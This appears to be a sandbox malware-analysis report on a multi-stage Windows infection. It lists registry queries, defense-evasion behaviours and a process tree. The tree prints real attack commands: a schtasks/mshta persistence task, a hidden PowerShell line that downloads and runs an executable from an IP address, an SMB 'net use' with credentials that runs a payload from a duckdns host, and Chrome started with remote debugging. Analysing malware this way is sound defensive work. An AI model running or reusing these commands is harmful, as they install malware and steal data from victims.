Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	158020eadb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
4876	timeout.exe
10948	timeout.exe
28696	timeout.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
11044	taskkill.exe
7336	taskkill.exe
8560	taskkill.exe
7668	taskkill.exe
9508	taskkill.exe

Modifies data under HKEY_USERS 49 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133882925232310895"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000_Classes\Local Settings	rapes.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4516	schtasks.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
3760	powershell.exe
3760	powershell.exe
4236	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
4236	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
4420	rapes.exe
4420	rapes.exe
3120	powershell.exe
3120	powershell.exe
3120	powershell.exe
4552	MSBuild.exe
4552	MSBuild.exe
4552	MSBuild.exe
4552	MSBuild.exe
1340	MSBuild.exe
1340	MSBuild.exe
8	MSBuild.exe
8	MSBuild.exe
8	MSBuild.exe
8	MSBuild.exe
1340	MSBuild.exe
1340	MSBuild.exe
4480	chrome.exe
4480	chrome.exe
3700	MSBuild.exe
3700	MSBuild.exe
3700	MSBuild.exe
3700	MSBuild.exe
1340	MSBuild.exe
1340	MSBuild.exe
5900	powershell.exe
5900	powershell.exe
5900	powershell.exe
1340	MSBuild.exe
1340	MSBuild.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
656	Process not Found
656	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3120	powershell.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeShutdownPrivilege	4480	chrome.exe
Token: SeCreatePagefilePrivilege	4480	chrome.exe
Token: SeDebugPrivilege	5900	powershell.exe

Suspicious use of FindShellTrayWindow 30 IoCs

pid	Process
4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
4480	chrome.exe
5648	msedge.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4196 wrote to memory of 1944	4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 4196 wrote to memory of 1944	4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 4196 wrote to memory of 1944	4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 4196 wrote to memory of 3480	4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 4196 wrote to memory of 3480	4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 4196 wrote to memory of 3480	4196	2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 1944 wrote to memory of 4516	1944	cmd.exe	89
PID 1944 wrote to memory of 4516	1944	cmd.exe	89
PID 1944 wrote to memory of 4516	1944	cmd.exe	89
PID 3480 wrote to memory of 3760	3480	mshta.exe	92
PID 3480 wrote to memory of 3760	3480	mshta.exe	92
PID 3480 wrote to memory of 3760	3480	mshta.exe	92
PID 3760 wrote to memory of 4236	3760	powershell.exe	97
PID 3760 wrote to memory of 4236	3760	powershell.exe	97
PID 3760 wrote to memory of 4236	3760	powershell.exe	97
PID 4236 wrote to memory of 4420	4236	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE	100
PID 4236 wrote to memory of 4420	4236	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE	100
PID 4236 wrote to memory of 4420	4236	TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE	100
PID 4420 wrote to memory of 3972	4420	rapes.exe	104
PID 4420 wrote to memory of 3972	4420	rapes.exe	104
PID 4420 wrote to memory of 3972	4420	rapes.exe	104
PID 3972 wrote to memory of 3120	3972	cmd.exe	106
PID 3972 wrote to memory of 3120	3972	cmd.exe	106
PID 3972 wrote to memory of 3120	3972	cmd.exe	106
PID 3120 wrote to memory of 1108	3120	powershell.exe	107
PID 3120 wrote to memory of 1108	3120	powershell.exe	107
PID 3120 wrote to memory of 1108	3120	powershell.exe	107
PID 1108 wrote to memory of 1104	1108	cmd.exe	109
PID 1108 wrote to memory of 1104	1108	cmd.exe	109
PID 1108 wrote to memory of 1104	1108	cmd.exe	109
PID 4420 wrote to memory of 2628	4420	rapes.exe	110
PID 4420 wrote to memory of 2628	4420	rapes.exe	110
PID 4420 wrote to memory of 2628	4420	rapes.exe	110
PID 2628 wrote to memory of 3280	2628	amnew.exe	111
PID 2628 wrote to memory of 3280	2628	amnew.exe	111
PID 2628 wrote to memory of 3280	2628	amnew.exe	111
PID 4420 wrote to memory of 3032	4420	rapes.exe	112
PID 4420 wrote to memory of 3032	4420	rapes.exe	112
PID 3032 wrote to memory of 4552	3032	trOUuPI.exe	113
PID 3032 wrote to memory of 4552	3032	trOUuPI.exe	113
PID 3032 wrote to memory of 4552	3032	trOUuPI.exe	113
PID 3032 wrote to memory of 4552	3032	trOUuPI.exe	113
PID 3032 wrote to memory of 4552	3032	trOUuPI.exe	113
PID 3032 wrote to memory of 4552	3032	trOUuPI.exe	113
PID 3032 wrote to memory of 4552	3032	trOUuPI.exe	113
PID 3032 wrote to memory of 4552	3032	trOUuPI.exe	113
PID 3032 wrote to memory of 4552	3032	trOUuPI.exe	113
PID 3280 wrote to memory of 1456	3280	futors.exe	114
PID 3280 wrote to memory of 1456	3280	futors.exe	114
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 1456 wrote to memory of 1340	1456	v7942.exe	115
PID 4420 wrote to memory of 3108	4420	rapes.exe	116
PID 4420 wrote to memory of 3108	4420	rapes.exe	116
PID 4420 wrote to memory of 3108	4420	rapes.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-04-05_343c53977f082c3cb859f77bf1e9bbf4_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4196
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn pakuvma1Wm0 /tr "mshta C:\Users\Admin\AppData\Local\Temp\Xe86cZQEg.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn pakuvma1Wm0 /tr "mshta C:\Users\Admin\AppData\Local\Temp\Xe86cZQEg.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4516
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\Xe86cZQEg.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'K2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3760
  - - C:\Users\Admin\AppData\Local\TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE
      "C:\Users\Admin\AppData\Local\TempK2ZBL9LMBYM81XT87UX9FNZPUAYPAK3C.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4236
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4420
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10449261121\pfJNmVW.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3972
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3120
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1108
        
        C:\Windows\SysWOW64\net.exe
        
        net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234!
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:1104
        
        \??\UNC\aaso12.duckdns.org\shear\s.exe
        
        \\aaso12.duckdns.org\shear\s -fullinstall
        9⤵
        Sets service image path in registry
        Drops file in Program Files directory
        
        PID:4140
      - C:\Users\Admin\AppData\Local\Temp\10451760101\amnew.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10451760101\amnew.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        7⤵
        Downloads MZ/PE file
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3280
        
        C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1456
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1340
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4480
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff6323dcf8,0x7fff6323dd04,0x7fff6323dd10
        11⤵
        
        PID:2416
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1600,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2088 /prefetch:3
        11⤵
        
        PID:3604
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2060,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2056 /prefetch:2
        11⤵
        
        PID:3080
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2384,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2400 /prefetch:8
        11⤵
        
        PID:4060
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3264,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3300 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:2780
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3272,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3328 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:400
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4316,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4336 /prefetch:2
        11⤵
        Uses browser remote debugging
        
        PID:2164
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4676,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4744 /prefetch:1
        11⤵
        Uses browser remote debugging
        
        PID:3456
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5352,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5364 /prefetch:8
        11⤵
        
        PID:3476
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4920,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5408 /prefetch:8
        11⤵
        
        PID:4676
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5508,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5492 /prefetch:8
        11⤵
        
        PID:5412
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5528,i,1971901480418700261,5448818726332112876,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5700 /prefetch:8
        11⤵
        
        PID:5484
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
